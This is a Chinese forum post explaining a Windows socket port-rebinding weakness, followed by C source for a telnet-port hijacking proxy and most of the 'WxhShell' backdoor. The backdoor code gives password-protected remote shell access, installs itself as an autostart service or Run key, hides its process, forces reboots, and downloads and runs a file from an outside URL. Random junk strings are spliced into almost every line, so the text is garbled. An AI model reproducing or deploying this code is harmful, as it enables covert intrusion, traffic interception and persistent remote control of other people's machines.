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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2Kz$y JTp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f"P866@oWn  
q%e'WMG~n  
  saddr.sin_family = AF_INET; H~nX! sO  
uJ -$i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9N'fU),I  
T+&fUhSy  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t_w\k_ T  
[B+F}Q^;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6>rz=yAM_  
U364'O8_  
  这意味着什么?意味着可以进行如下的攻击: m^!j)\sM5  
ufIvvZ*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Cj-&L<  
y zp#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r8:"\%"f>  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5l1R")0`t_  
7<!x:G?C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f^B'BioW(  
{qi #  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _7Y-gy#\a  
=3QhGFd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8+}rm6Y+  
I V# 8W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UtTlJb{-j  
CU\gx*=E  
  #include {%u^O/M  
  #include j67ppt  
  #include ah,f~.X_|  
  #include    $M,<=.oT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4tLdqs  
  int main() go AV+V7  
  { 4~h 0/H"  
  WORD wVersionRequested; (9I(e^@]  
  DWORD ret; q9rm9#}[J#  
  WSADATA wsaData; FsJk"$}  
  BOOL val; 3`%E;?2  
  SOCKADDR_IN saddr; n4S`k%CI  
  SOCKADDR_IN scaddr; xw}yl4WT{  
  int err; .Ji9j[[#D  
  SOCKET s; h>D;QY  
  SOCKET sc; trwQ@7  
  int caddsize; EA>.SSs!  
  HANDLE mt; #0b:5.vy  
  DWORD tid;   X/2GTU7?  
  wVersionRequested = MAKEWORD( 2, 2 ); 8Lx/ZGy  
  err = WSAStartup( wVersionRequested, &wsaData ); VfpT5W<  
  if ( err != 0 ) { ydYsmTr  
  printf("error!WSAStartup failed!\n"); ?8H{AuLB  
  return -1; Y?J/KW3  
  } 5aW#zgxXg  
  saddr.sin_family = AF_INET; 0j(U &  
   cWx`y><  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y*+8Z&i.:  
]VKQm(,0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ut\:jV=f  
  saddr.sin_port = htons(23); A/I\MN|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0l[52eZ/  
  { HL4=P,'  
  printf("error!socket failed!\n"); 3pvqF,"~D  
  return -1; 4!!PrXE  
  } Zw0KV%7hD  
  val = TRUE; ]dNNw`1\V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  d=^QK{8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Pb?vi<ug+  
  { :FI D ,  
  printf("error!setsockopt failed!\n"); F ><_gIT  
  return -1; mN]WjfII  
  } ;UTM9.o[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q&r. wV|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -fFtHw:kHh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =h vPq@C%  
9n\>Yieu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2sIt~ Gn  
  { PY7H0\S)  
  ret=GetLastError(); \f^xlX3&`  
  printf("error!bind failed!\n"); ca7Y+9< ;  
  return -1; EQ~<NzRp=  
  } %50)?J=zB  
  listen(s,2); K0j%\]\Tp  
  while(1) }8tF.QjR|  
  { wW*7  
  caddsize = sizeof(scaddr); 7ihcjyXB  
  //接受连接请求 rHw#<oV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8+|W%}  
  if(sc!=INVALID_SOCKET) s,#We} bv  
  { 9zqo!&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v[ML=pL  
  if(mt==NULL) 4Z%1eOR9V  
  { /A,w{09G  
  printf("Thread Creat Failed!\n"); . KLEx]f.  
  break; rN|=cn  
  } p =nbsS~":  
  } 5Z_C (5)/Y  
  CloseHandle(mt); zTB&Wlt  
  } u>9` ?O44  
  closesocket(s); C\5G43`  
  WSACleanup(); QyVAs;  
  return 0; )S+fc=  
  }   vx($o9  
  DWORD WINAPI ClientThread(LPVOID lpParam) XjL3Ar*  
  { yYJ_;Va  
  SOCKET ss = (SOCKET)lpParam; M;y*`<x  
  SOCKET sc; zJy=1r  
  unsigned char buf[4096]; YdO*5Gb6  
  SOCKADDR_IN saddr; tWy.Gz\  
  long num; pt.V^a  
  DWORD val; [nig^8  
  DWORD ret; ?} 8r h%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9.\SeJ8c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VrPsy) J68  
  saddr.sin_family = AF_INET; p*0[:/4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WC<[<uI*  
  saddr.sin_port = htons(23); SZe55mK`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;@qS#7SRB  
  { >Vt2@Ee  
  printf("error!socket failed!\n"); M#o.O?.`  
  return -1; nQOdM#dP  
  } I?g}q,!]  
  val = 100; IXtG 36O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8Y`g$2SZ^8  
  { .kU^)H" l  
  ret = GetLastError(); $|g1 _;(G  
  return -1; ~) _Nh  
  } lj}3TbM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b/a\{  
  { /lUfxc4  
  ret = GetLastError(); F|> 3gW  
  return -1; G!$~'o%/  
  } 3ArHaAv{y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _N|%i J5  
  { Ga02Zk  
  printf("error!socket connect failed!\n"); #<[&Lw  
  closesocket(sc); !0?o3,of-  
  closesocket(ss); ^7+;XUyg  
  return -1; fdK E1,;  
  } +_fFRyu>  
  while(1) #d,)Qe[  
  { }~zDcj_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JS ^Cc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n-8/CBEH(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %z@ Z^Jv  
  num = recv(ss,buf,4096,0); b3-j2`#  
  if(num>0) +7w5m  
  send(sc,buf,num,0); 0yC~"u[N Y  
  else if(num==0) 8WQ#)  
  break; mM&P&mz/D  
  num = recv(sc,buf,4096,0); :a/rwZ[r  
  if(num>0) 13F]7l-#  
  send(ss,buf,num,0); C5ILVQ  
  else if(num==0) 1z7+:~;l  
  break; ^ 3 4Ng  
  } jw{N#QDh  
  closesocket(ss); `ZEFH7P  
  closesocket(sc); ;]1t| td8  
  return 0 ; c6vJ;iz  
  } }nPt[77U_7  
*$%~/Q@]  
+ GQ{{B  
========================================================== $,by!w'e:l  
D%o(HS\E  
下边附上一个代码,,WXhSHELL Vv+nq_  
7<]&pSt=  
========================================================== %OgK{h  
I"czo9Yspd  
#include "stdafx.h" W8^A{l4  
ho{%7\  
#include <stdio.h> neM)(` gp  
#include <string.h> G 0pq'7B  
#include <windows.h> (.!9  
#include <winsock2.h> H(.9tuA  
#include <winsvc.h> .TA)|df ^  
#include <urlmon.h> El9T>!Z  
5r 4~vK  
#pragma comment (lib, "Ws2_32.lib") .Xp,|T  
#pragma comment (lib, "urlmon.lib") ZPw4S2yw3.  
5PeYQ-B|  
#define MAX_USER   100 // 最大客户端连接数 WMC^G2 n  
#define BUF_SOCK   200 // sock buffer 3G4WKg.^  
#define KEY_BUFF   255 // 输入 buffer 1W >/4l  
_@>*]g  
#define REBOOT     0   // 重启 j}.gK6Yq*  
#define SHUTDOWN   1   // 关机 ?9{^gW4|  
el5Pe{j '  
#define DEF_PORT   5000 // 监听端口 ^V;r  
cwvJH&%0  
#define REG_LEN     16   // 注册表键长度 5lHt~hB\  
#define SVC_LEN     80   // NT服务名长度 a({Rb?b  
I-!7 EC2{!  
// 从dll定义API kIS )*_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _ -RqkRI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9U<WR*H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [VXQ&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "vybVWEE  
&M@ .d$<C  
// wxhshell配置信息 |GQq:MB;z  
struct WSCFG { !b!An; ',  
  int ws_port;         // 监听端口 BTr oe=R  
  char ws_passstr[REG_LEN]; // 口令 bTeuOpp  
  int ws_autoins;       // 安装标记, 1=yes 0=no ( ww4(  
  char ws_regname[REG_LEN]; // 注册表键名 KB~[nZs7  
  char ws_svcname[REG_LEN]; // 服务名 'vVt^h2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b&`~%f-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >(H:eRKq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x/{-U05  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m_Hg!Lg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :a&M]+!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]g$ky.;  
2&S^\kf  
}; ~`e!$=  
' u<IS/w  
// default Wxhshell configuration +$ djX=3  
struct WSCFG wscfg={DEF_PORT, 6,LE_ -G5  
    "xuhuanlingzhe", XixjdBFP  
    1, am/}V%^  
    "Wxhshell", xS@jV6E~  
    "Wxhshell", (^B1Kt!<  
            "WxhShell Service", [.|& /O  
    "Wrsky Windows CmdShell Service", e^q^ AP+*  
    "Please Input Your Password: ", Pn4.gabE  
  1, yj_/:eX  
  "http://www.wrsky.com/wxhshell.exe", 2*`kkS  
  "Wxhshell.exe" P51cEhf  
    }; r|}Pg}O  
7<70\ 6  
// 消息定义模块 5,XEN$^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *.w6 =}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a+z>pV|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p\_3g!G'  
char *msg_ws_ext="\n\rExit."; 2|ee`"`  
char *msg_ws_end="\n\rQuit."; ^~l@ _r  
char *msg_ws_boot="\n\rReboot..."; xp:I(  
char *msg_ws_poff="\n\rShutdown..."; z<t2yh(DF  
char *msg_ws_down="\n\rSave to "; V8F! o  
]EF"QLNN(  
char *msg_ws_err="\n\rErr!"; .=}\yYGe   
char *msg_ws_ok="\n\rOK!"; nl2Lqu1  
#"A`:bjG  
char ExeFile[MAX_PATH]; ?@x$ h  
int nUser = 0; CaCApL  
HANDLE handles[MAX_USER]; `Qb!W45  
int OsIsNt; )2EvZn  
;/Y#ph[  
SERVICE_STATUS       serviceStatus; kygj" @EX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; - TH(Z(pB  
B7C<;`5TiD  
// 函数声明 _\dC<K *>  
int Install(void); L8.A|  
int Uninstall(void); :twp95{R1  
int DownloadFile(char *sURL, SOCKET wsh); M1P;x._n  
int Boot(int flag); cyd_xB5K  
void HideProc(void); A#q.)8  
int GetOsVer(void); ^WWr8-  
int Wxhshell(SOCKET wsl); s +S6'g--  
void TalkWithClient(void *cs); >9nVR  
int CmdShell(SOCKET sock); of7'?]w  
int StartFromService(void); ~g[D!HV|yu  
int StartWxhshell(LPSTR lpCmdLine); `TF3Ho\MC  
a>#$&&oQ0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ec^{ez@`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y<IHZq`C3  
L6qK3xa}  
// 数据结构和表定义 s!gVY!0  
SERVICE_TABLE_ENTRY DispatchTable[] = F_@` <d!  
{  !N\_D  
{wscfg.ws_svcname, NTServiceMain}, cc=_KYZ1k  
{NULL, NULL} -2laM9Ed  
}; :k_)Bh?+  
#Z]Cq0=  
// 自我安装 h3>u[cX%  
int Install(void) ?:GrM!kq76  
{ zBI2cB8;P  
  char svExeFile[MAX_PATH]; [xfg6  
  HKEY key; p `oB._ R  
  strcpy(svExeFile,ExeFile); ,lCFe0>k!=  
+c]D2@ctG  
// 如果是win9x系统,修改注册表设为自启动 V=1yg24B<  
if(!OsIsNt) { Y -BZV |  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KvPLA{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H^B,b !5i  
  RegCloseKey(key); 0ZL>-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B2BG*xa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kSge4?&  
  RegCloseKey(key); &% (1?\~u  
  return 0; WzdlrkD  
    }  5B1,,8P  
  } CucW84H`J  
} @!x7jPr  
else { fk2Uxg=[  
A&KY7[<AC{  
// 如果是NT以上系统,安装为系统服务 9l&G2 o   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3M^`6W[;  
if (schSCManager!=0) ze+S_{  
{ #\="^z6  
  SC_HANDLE schService = CreateService ]t17= Lr?  
  ( 1G(wESe  
  schSCManager, 2,|@a\H  
  wscfg.ws_svcname, zuJ` 704  
  wscfg.ws_svcdisp, GXv2B%i8  
  SERVICE_ALL_ACCESS, h52+f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , - 3<&sTR  
  SERVICE_AUTO_START, /'v!{m  
  SERVICE_ERROR_NORMAL, `x L@%  
  svExeFile, geM`O|Np  
  NULL, sSiZG  
  NULL, 2mx }bj8  
  NULL, &&}c R:U,  
  NULL, Pqvj0zUo$  
  NULL E}36  
  ); |~Awm"  
  if (schService!=0) oqK: 5|  
  { ``Um$i~e%  
  CloseServiceHandle(schService); Ex}TDmTu  
  CloseServiceHandle(schSCManager); u0uz~ s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3WfZzb+  
  strcat(svExeFile,wscfg.ws_svcname); @6U&7!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u7p:6W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2<2a3'pG  
  RegCloseKey(key); v!mP9c j  
  return 0; phwq#AxQ   
    } X5tV Xd  
  } lvk*Db$  
  CloseServiceHandle(schSCManager); uxq#q1  
} cwUor}<|  
} ryd}-_LL  
iIo>]\Pw  
return 1; d7kv <YG  
} h* /  
b` 9Zin  
// 自我卸载 Ki)hr%UFw  
int Uninstall(void) +@rc(eOwvN  
{ V/"41  
  HKEY key; >\5ZgC  
5kv]k?   
if(!OsIsNt) { q 7+|U%!9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6~k qU4lL  
  RegDeleteValue(key,wscfg.ws_regname); P_@ty~u  
  RegCloseKey(key); M?$tHA~OX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lFgE{; z@  
  RegDeleteValue(key,wscfg.ws_regname); O#U_mgfzJ  
  RegCloseKey(key); 4vH.B)S-  
  return 0; t6+>Zr  
  } :~,akX$  
} k"FY &;G(G  
} Lr>4~1:`  
else { { lZ<'p  
RQn3y-N]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )T^aJ-Uf  
if (schSCManager!=0) 0ENqK2  
{ Rk{2ZUeg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #|e5i9l*B  
  if (schService!=0) 1Imb"E  
  { pq5bK0N Q  
  if(DeleteService(schService)!=0) { JDMsco+j5  
  CloseServiceHandle(schService); Od]wh  
  CloseServiceHandle(schSCManager); c$3ZEe  
  return 0; 6Qm .k$[  
  } ewinG-hX_  
  CloseServiceHandle(schService); t2%gS" [  
  } iB'g7&,L  
  CloseServiceHandle(schSCManager); Qc:Sf46O  
} a@gm r%C  
} 7.v{=UP  
~HgN'#Y?  
return 1; ZW8;?# _  
} VzFzVeJ  
'seuO!5  
// 从指定url下载文件 -(.\> F  
int DownloadFile(char *sURL, SOCKET wsh) -_Iuvw  
{ YpbJoHiSH  
  HRESULT hr; `JG7Pl/ih  
char seps[]= "/"; yz=6 V%  
char *token; $%J $  
char *file; Vg"Ze[dA  
char myURL[MAX_PATH]; V P4ToYc  
char myFILE[MAX_PATH]; i>rsq[l  
; >>/}Jw\  
strcpy(myURL,sURL); P,Rqv)}X  
  token=strtok(myURL,seps); mZ t:  
  while(token!=NULL) ,%]s:vk[u  
  { 0EP8MRSR  
    file=token; c\eT`.ENk  
  token=strtok(NULL,seps); u]Y NF[]  
  } +&TcTu#.`  
CW#$%  
GetCurrentDirectory(MAX_PATH,myFILE); X 7"hTD  
strcat(myFILE, "\\"); |a[ :L  
strcat(myFILE, file); %^8>=  
  send(wsh,myFILE,strlen(myFILE),0); 6I\mhw!pQ  
send(wsh,"...",3,0); |=}v^o ZC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <b;Oap3  
  if(hr==S_OK) vro5G')  
return 0; D D Crvl  
else F30jr6F\  
return 1; WN?meZ/N/  
i(>v~T,(  
} Z$a4@W9o  
_N`pwxpsb  
// 系统电源模块 =E%<"FB  
int Boot(int flag) =R\-mov$  
{ q\5C-f  
  HANDLE hToken; h!>NS ?X7  
  TOKEN_PRIVILEGES tkp; 5B=Wnau  
[Z?vC  
  if(OsIsNt) { ./;*L D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -Qco4>Z8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |k9A*7I  
    tkp.PrivilegeCount = 1; s97L/iH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ? &;d)TQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ed)!Snz   
if(flag==REBOOT) { gb0ZGnI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TS<uBX  
  return 0; <ByDT$E_  
} IN9o$CZ:  
else { MRHkQE+K@8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P1l@K2r  
  return 0; #[#dc]D  
} }UWRH.;v  
  } eL!G, W  
  else { /C}fE]n{X  
if(flag==REBOOT) { Kq0hT4w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J#W>%2 "s  
  return 0; &hYjQ&n  
} )Z 3fytY  
else { t| zLR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6Gs,-Kb:  
  return 0; Cx/duod p  
} ^5~[G%G4  
} S.OGLLprp  
$T0|zPK5  
return 1; $rC`)"t  
} ]g; K_>@  
W}1h~rNy  
// win9x进程隐藏模块 |KC3^  
void HideProc(void) 9?W38EF  
{ ;nJCd1H  
)FqE8oN-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -Q8pWtt  
  if ( hKernel != NULL ) ptuW}"F  
  { ~qT+sc!t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  '[#uf/~W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P5P<-T{-c  
    FreeLibrary(hKernel); n1W}h@>8  
  } Swua dN  
;"nEEe]?  
return; K~WwV8c9;  
} M$gy J!Pb  
f i!wrvO  
// 获取操作系统版本 o&~z8/?LA  
int GetOsVer(void) wEMUr0Hq  
{ c(AjM9s  
  OSVERSIONINFO winfo; &4DV]9+g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h OboM3_  
  GetVersionEx(&winfo); qwaw\vOA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4p~:(U[q  
  return 1; LVLh&9  
  else j{P,(-  
  return 0; :7!/FBd  
} 8LwbOR"  
9H3#8T] ;  
// 客户端句柄模块 sEvJ!$Tt?I  
int Wxhshell(SOCKET wsl) [* > @hx  
{ RGtUKr'  
  SOCKET wsh; T "G!H  
  struct sockaddr_in client;  5>w>J  
  DWORD myID; 1^zF/$%  
gi@+2 7;  
  while(nUser<MAX_USER) Z9aDE@A  
{ >8tE`2[i*  
  int nSize=sizeof(client); &:jE+l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nw5#/5xw  
  if(wsh==INVALID_SOCKET) return 1; t7A.b~#  
I"JT3[*s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ESASsRzk  
if(handles[nUser]==0) Ruk6+U  
  closesocket(wsh); #G{T(0<F  
else 6U+#ADo  
  nUser++; uX0wg  
  } cdIy[ 1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xSOL4  
{@ , L  
  return 0; .(1$Q6yG  
} #lLL5ji  
Da@tpKU)p  
// 关闭 socket H_8@J  
void CloseIt(SOCKET wsh) G(0 bulq  
{ j^!J: Bj  
closesocket(wsh); ) L{Tn 8  
nUser--; {U(h]'  
ExitThread(0); $uLzC]  
} (x$k\H  
?I@3`?'  
// 客户端请求句柄 wc,y+C#V  
void TalkWithClient(void *cs) In;z\"NN4  
{ 9wb$_j]F`#  
cq9Q7<&MF  
  SOCKET wsh=(SOCKET)cs; DU7Ki6  
  char pwd[SVC_LEN]; )v-* WreS  
  char cmd[KEY_BUFF]; \iE'E  
char chr[1]; Om1z  
int i,j; tt[_+e\4  
=0]Mc$Ih  
  while (nUser < MAX_USER) { [ $"iO#oO  
/w!' [  
if(wscfg.ws_passstr) { O@=mN*<gg0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R\Q%_~1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <zDe;&  
  //ZeroMemory(pwd,KEY_BUFF); Z?Q2ed*j  
      i=0; Ph%s.YAZ~  
  while(i<SVC_LEN) { r?+u}uH  
/Bwea];^Q  
  // 设置超时 8DI|+`OgW  
  fd_set FdRead; 7kwG_0QO  
  struct timeval TimeOut; T i/iD2g  
  FD_ZERO(&FdRead); (7wR*vO^  
  FD_SET(wsh,&FdRead); |(H|2]b4 =  
  TimeOut.tv_sec=8; S2s-TpjB<  
  TimeOut.tv_usec=0; &S-& 'ZAY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0,A?*CO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k?8W2fC  
IGqmH=-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s,29_z7  
  pwd=chr[0]; Q.] )yqX6  
  if(chr[0]==0xd || chr[0]==0xa) { Q:Ms D.  
  pwd=0; .6;B3  
  break; GB+d0 S4  
  } &T|-K\*  
  i++; z g j35  
    } Ni)#tz_9  
Zn} )&Xt  
  // 如果是非法用户,关闭 socket ]`kvq0Gyb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }n 7e_qy4  
} i|O7nB@  
#&:nkzd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7w$R-Y/E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6;b 'j\jG  
#<e7 Y0  
while(1) { Rj&7|z  
Gehl/i-  
  ZeroMemory(cmd,KEY_BUFF); U+RPn?Q  
&e)p6Egl  
      // 自动支持客户端 telnet标准   9}mp,egV  
  j=0; w +Z};C  
  while(j<KEY_BUFF) { :y %~9=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^MW%&&,BL  
  cmd[j]=chr[0]; )/AvWDKvO  
  if(chr[0]==0xa || chr[0]==0xd) { Iq=B]oE  
  cmd[j]=0; 5q#|sVT7R  
  break; yk)j;i4@  
  } 4Qo1f5 >N  
  j++; B<&_lG0sS  
    } >y~_Hh(TSL  
W9Lg}[>:)  
  // 下载文件 V<pqc&f .  
  if(strstr(cmd,"http://")) { 7EO&:b]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DnFl*T>  
  if(DownloadFile(cmd,wsh)) q{ 1U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }\{1`$*~  
  else vTEkh0Ys  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Tb|Yfyr C  
  } #G=QL(f>/  
  else { Ft rw3OxN  
C941 @I  
    switch(cmd[0]) { 5gEfhZQ  
  I}v#r8'!  
  // 帮助 h3IkOh4|h  
  case '?': { `4q}D-'TF8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c]r|I %D  
    break; NKKO A  
  } ?t42=nvf  
  // 安装 UhTr<(@  
  case 'i': { k f!/9  
    if(Install()) ?KXQ)Y/su  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x=#5\t9  
    else EXcjF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xi\RUAW  
    break; wIj2 IAD  
    } E <SE Fn  
  // 卸载 G0> Wk#or  
  case 'r': { I yN9 +  
    if(Uninstall()) Y]K]]Ehp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CEq]B:[IC  
    else tuUXW5!/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;T+U&U0d|  
    break; s3Ce]MH  
    } ]r1{%:8  
  // 显示 wxhshell 所在路径 ejY5n2V#=  
  case 'p': { Nt-SCLDM  
    char svExeFile[MAX_PATH];  ?|J+dW  
    strcpy(svExeFile,"\n\r"); ~&3"Mi&>`  
      strcat(svExeFile,ExeFile); 8#u_+;,p  
        send(wsh,svExeFile,strlen(svExeFile),0); I?g__u=n~  
    break; @qy*R'+  
    } b[;3KmUB  
  // 重启 'aP*++^   
  case 'b': { }2A1Yt:^P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ==Mi1Q#5C  
    if(Boot(REBOOT)) &:#8ol(n5b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f1$mh1J W  
    else { }C"*ACjF   
    closesocket(wsh); gA1in  
    ExitThread(0); p-r%MnT  
    } 5@ +Ei25  
    break; Z*>/@J}  
    } k1U8wdoT  
  // 关机 J_E(^+  
  case 'd': { f}Tr$r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KBq aI((  
